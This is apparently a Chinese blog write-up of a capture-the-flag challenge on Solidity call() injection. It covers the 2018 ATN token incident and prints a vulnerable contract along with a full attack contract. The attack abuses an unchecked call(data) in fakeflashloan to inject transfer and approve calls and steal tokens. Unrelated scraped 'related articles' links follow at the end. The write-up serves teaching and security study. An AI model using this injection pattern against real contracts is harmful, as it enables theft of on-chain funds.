合约Call注入漏洞


写在前面

写本文是为了总结一下博主在这两天中做一个靶场题目时遇到的一些问题,以及对call注入的一些见解。

Call函数

首先我们先了解一下call函数:

合约之间的调用有2种方式: 底层的call方式和 new 合约的方式

solidity 提供了 call()、delegatecall()、callcode() 三个函数来实现合约直接的调用及交互,这些函数的滥用导致了各种安全风险和漏洞。在使用第二种方式时,如果处理不当很可能产生致命的漏洞 —— 跨合约调用漏洞,主要就是 call() 注入函数导致的.

call() 函数对某个合约或者本地合约的某个方法的两种调用方式:

  • <address>.call(方法选择器,arg1,arg2,...)
  • <address>.call(bytes)

综上 合约之间的调用建议的方式是:通过new 合约,通过合约的方式去调用,而不是通过call的方式去调用,因为这样会失去控制权。

案例分析

接下来我们通过一个call注入攻击的案例来更深入的了解一下call函数:

2018年5月11日中午,ATN技术人员收到异常监控报告,显示ATN Token供应量出现异常,迅速介入后发现Token合约由于存在漏洞受到攻击。

ATN Token合约采用的是在传统ERC20Token合约基础上的扩展版本ERC223,并在其中使用了 dapphub/ds-auth 库。
单独使用 ERC223 或者 ds-auth 库时,并没有什么问题,但是两者结合时,黑客利用了回调函数回调了setOwner方法,从而获得高级权限。

ERC223转账代码如下:

黑客转账时在方法中输入了以下参数成功实现了攻击:

该交易执行的时候 receiver 会被 _to(ATN合约地址) 赋值, ATN 合约会调用 _custom_fallback 即 DSAuth 中的 setOwner(adddress) 方法,而此时的 msg.sender 变为 ATN 合约地址,owner_参数为_from(黑客地址)。

ds-auth库中setOwner 代码如下:

在执行 setOwner 时会先验证 auth 合法性,而此时! msg.sender 就是ATN的合约地址,因此完美的避开了auth的检查。setOwner 的 modifier auth 代码:

总的来说

  1. Call函数自由度过大,应谨慎使用作为底层函数,对于一些敏感操作或者权限判断函数,则不要轻易将合约自身的账户地址作为可信的地址。
  2. 调用的函数应该做严格的限制,避开调用任意函数的隐患
  3. 用到类似ERC223推荐实现的custom_fallback和ds-auth的合约,或者说内置有其他权限控制得合约的以太坊Token,很可能也存在这个call的注入问题

漏洞分析:

通过以上的介绍,想必大家对call函数以及其漏洞已经有了自己的理解。

call函数出现在底层合约中需要格外重视,如非必要最好不要用,用new代替。

call注入的主要攻击思路:

由于call参数类型不限,这给了参数很大的自由度,黑客可以通过构造参数去调用与此合约相关联的所有方法,并且在调用时msg.sender的值会变为合约的地址,这可能会绕过关键函数的一些判断条件,从而使黑客通过"冒名调用"获得利益。

靶场题目:

说了这么多,让我们回到问题的起点:
漏洞源码如下:

pragma solidity ^0.4.19;
contract Vuln{address public owner;string public name     = "Chain";string public symbol   = "CHA";uint8  public decimals = 18;uint public totalSupply=10000000000;bool  public isLoan=false;bool public solved;event  Approval(address indexed from, address indexed to, uint number);event  Transfer(address indexed from, address indexed to, uint number);event  Deposit(address indexed to, uint number);event  Withdrawal(address indexed from, uint number);mapping (address => uint)                       public  balanceOf;mapping (address => mapping (address => uint))  public  allowance;constructor() public{owner=msg.sender;balanceOf[owner]=totalSupply/2;balanceOf[address(this)]=totalSupply/2;}function withdraw(uint number) public {require(balanceOf[msg.sender] >= number);balanceOf[msg.sender] -= number;(msg.sender).transfer(number);emit Withdrawal(msg.sender, number);}function approve(address to, uint number) public returns (bool) {allowance[msg.sender][to] = number;emit Approval(msg.sender, to, number);return true;}function transfer(address _to, uint _value) public returns (bool) {require(balanceOf[msg.sender] - _value >= 0);balanceOf[msg.sender] -= _value;balanceOf[_to] += _value;return true;}function fakeflashloan(uint256 value,address target,bytes memory data) public{require(isLoan==false&&value>=0&&value<=1000);balanceOf[address(this)]-=value;balanceOf[target]+=value;address(target).call(data);isLoan=true;require(balanceOf[target]>=value);balanceOf[address(this)]+=value;balanceOf[target]-=value;isLoan=false;}function transferFrom(address from, address to, uint number)publicreturns (bool){require(balanceOf[from] >= number);if (from != msg.sender && allowance[from][msg.sender] != 2**256-1) {require(allowance[from][msg.sender] >= number);allowance[from][msg.sender] -= number;}balanceOf[from] -= number;balanceOf[to] += number;emit Transfer(from, to, number);return true;}function isSolved() public returns(bool){return solved;}function complete() public {require(balanceOf[msg.sender]>10000);require(allowance[address(this)][msg.sender]>10000);solved=true;}
}

拿到flag的要求是使isSolved()返回true
读完源码后,发现题目要我们通过攻击达成complete()函数里的两个限制条件:

 function complete() public {require(balanceOf[msg.sender]>10000);require(allowance[address(this)][msg.sender]>10000);solved=true;}

即是让我们利用漏洞从合约成功盗取10000以上的token

让我们把视线放到fakeflashloan()这个奇怪的函数上,可以注意到这个函数并没有很苛刻的“准入条件”,让我们可以很轻松的执行到里面的call方法:

function fakeflashloan(uint256 value,address target,bytes memory data) public{require(isLoan==false&&value>=0&&value<=1000);balanceOf[address(this)]-=value;balanceOf[target]+=value;address(target).call(data);isLoan=true;require(balanceOf[target]>=value);balanceOf[address(this)]+=value;balanceOf[target]-=value;isLoan=false;}

而call后面跟的参数是bytes类型的data,这就给了我们很大的操作空间。此时我至少想到了两种拿到flag的方式,一种是通过call注入调用transfer和approve函数给我自己转账,实现盗币后执行complete()方法。另一种方式比较投机取巧,通过call注入调用approve函数,_to填合约地址,这样allowance就记录了一个合约自己给自己的一笔token的approve,同样可以绕开complete的两个限制条件拿到flag

但是我觉得题目的初衷应该是要我们完成盗币攻击,于是将其实现,攻击合约如下:

pragma solidity ^0.4.19;import"./Vuln.sol";contract Attack{Vuln cont;constructor(address _adr){cont = Vuln(_adr);}function attack() public {bytes memory byt;bytes memory byt2;address adr=0x100200fF289D4dA0634fF36d7f5D96524f7EFf67;//我的账户地址byt  =  abi.encodePacked(bytes4(keccak256("transfer(address,uint256)")),bytes32(adr),bytes32(10001));byt2 =  abi.encodePacked(bytes4(keccak256("approve(address,uint256)")),bytes32(adr),bytes32(10001));cont.fakeflashloan(1000,address(cont),byt);//transfer 10001个token给我cont.fakeflashloan(1000,address(cont),byt2);//approve 10001个token的approve给我}}

注意:原题中用到了solidity7.0版本的编译环境,在新版的solidity中攻击合约中bytes32(adr),bytes32(10001)的语法是不被允许的,所以我直接选择了用更低版本的暂时替代。

PS:有关新版本的写法我会在后续更新

在这里我们通过调用fakeflashloan()这个问题函数,构造了bytbyt2这样的bytes去实现call注入的函数调用。

构造这个bytes占了我解题时常的90%,一直攻击无效,因为这个靶场测试网没办法debug,给我带来了很多困难。最终我选择脱离靶场的测试网环境,在本地进行测试。

有关bytes的构造大家可以参考solidity的abi参考文档

攻击效果:

夺旗:

合约被攻击后:

智能合约Call注入漏洞相关推荐

  1. 智能合约漏洞攻击事件_智能合约百科全书攻击漏洞

    智能合约漏洞攻击事件 Applications on Ethereum manage financial value, making security absolutely crucial. As a ...

  2. 小心!智能合约再爆高危漏洞,两大加密货币直接变废纸!

    小心!智能合约再爆高危漏洞,两大加密货币直接变废纸! 大家都还记得,前一段时间发生的BEC智能合约的安全漏洞问题.近日,智能合约安全问题再次上演,火币Pro发布公告,暂停EDU冲提币业务,随后EDU智 ...

  3. 区块链论文7(oyente智能合约漏洞检测工具)

    Making Smart Contracts Smarter 文章路径 参考链接1 参考链接2 参考链接3 Abstract: Cryptocurrencies record transactions ...

  4. BSN智能合约开发培训-CITA(三)

    1 智能合约的定义 1994年,计算机科学家和密码学家 Nick Szabo 首次提出"智能合约"概念.它早于区块链概念的诞生.Szabo 描述了什么是"以数字形式指定的 ...

  5. [区块链安全-Ethernaut]区块链智能合约安全实战-已完结

    [区块链安全-Ethernaut]区块链智能合约安全实战-已完结 准备 0. Hello Ethernaut 准备工作 创建实例并分析 合约交互 总结 1. Fallback 创建实例并分析 合约交互 ...

  6. 智能合约安全(一):以太坊机制及安全问题

    在本系列中,我们将对以太坊现有的安全问题和前沿的各类型漏洞挖掘方法进行综述.本文是本系列的第一篇文章,主要介绍以太坊的机制和存在的安全问题的分类. 01 什么是以太坊智能合约? 以太坊智能合约基于区块 ...

  7. 十分钟教你开发EOS智能合约

    十分钟教你开发EOS智能合约 在CSDN.柏链道捷(PDJ Education).HelloEOS.中关村区块链产业联盟主办的「EOS入门及最新技术解读」专场沙龙上,柏链道捷(PDJ Educatio ...

  8. 区块链安全-以太坊智能合约静态分析

    概述 目前,以太坊智能合约的安全事件频发,从The DAO事件到最近的Fomo3D奖池被盗,每次安全问题的破坏力都是巨大的,如何正确防范智能合约的安全漏洞成了当务之急.本文主要讲解了如何通过对智能合约 ...

  9. 时艳强对话杨霞:智能合约的安全bug,有可能让你的资产瞬间归零

    [时点对话]第84期:时艳强对话杨霞 对话时间:6月12日20:00 微信社群:布洛克-北京-668 对话嘉宾: 杨霞 成都链安科技CEO&创始人 电子科技大学副教授 时艳强 布洛克财经创始人 ...

最新文章

  1. 【java】java自带的java.util.logging.Logger日志功能
  2. CComboBox 类详细说明
  3. 【设计和算法分析】3、二进制搜索
  4. 在 Centos7 用Jexus服务器 运行.Net Core 只需几步
  5. 【转】刨根究底字符编码之三——字符编码的由来
  6. linux服务器做页面,linux服务器搭建在线预览环境
  7. js中的总结汇总(以后的都收集到这篇)
  8. file watchers怎么默认打开_python怎么打印字符
  9. 远程连接 Mysql 失败的解决方法
  10. JavaScript网页开发--三.CSS(级联样式表)
  11. 全网首发:java[50077:153519] Cocoa AWT: Not running on AppKit thread 0 when expected. libawt_lwawt.dylib
  12. android 启动器 v2ex,V2EX社区客户端 V2EX-android
  13. JS实现逆波兰表达式
  14. bilibili无水印php,bilibili播放器带弹幕接口源码
  15. Gabor特征码分析
  16. java全文检索word中的内容_搜索引擎时对WORD,EXCEL,PDF,POWERPOINT文件全文检索的总结...
  17. 草丛效果-shader forge
  18. 最近进行的一次技术选型(工作流引擎)及相关知识介绍
  19. Redux 使用指南(todoList 案例)
  20. 阿里云的oss看这一篇就够,手把手教你,上传下载速度再也不用愁了,个人网站速度太慢,一定要看!

热门文章

  1. Pine Player for Mac(优质音乐播放器)
  2. Android 主题换肤技术方案分析
  3. 含有一个量词的命题的否命题_火影手游:普通玩家如何“快速”升战力?这本身就是一个伪命题!...
  4. 单位企业邮箱是什么?公司邮箱怎么申请注册?
  5. 点餐系统ip地址_android无线点餐系统设计(完整源代码)
  6. java模拟老版QQ的伸缩面板
  7. 【测试工具】Xmind思维导图一键生成Excel测试用例
  8. 【Youtobe trydjango】Django2.2教程和React实战系列五【python shell操作models模型】
  9. 植物大战僵尸2 服务器维护时间,限时活动上线《植物大战僵尸2》V2.2.3即日更新!...
  10. 【C语言】PCM音频数据处理---音量增大或减小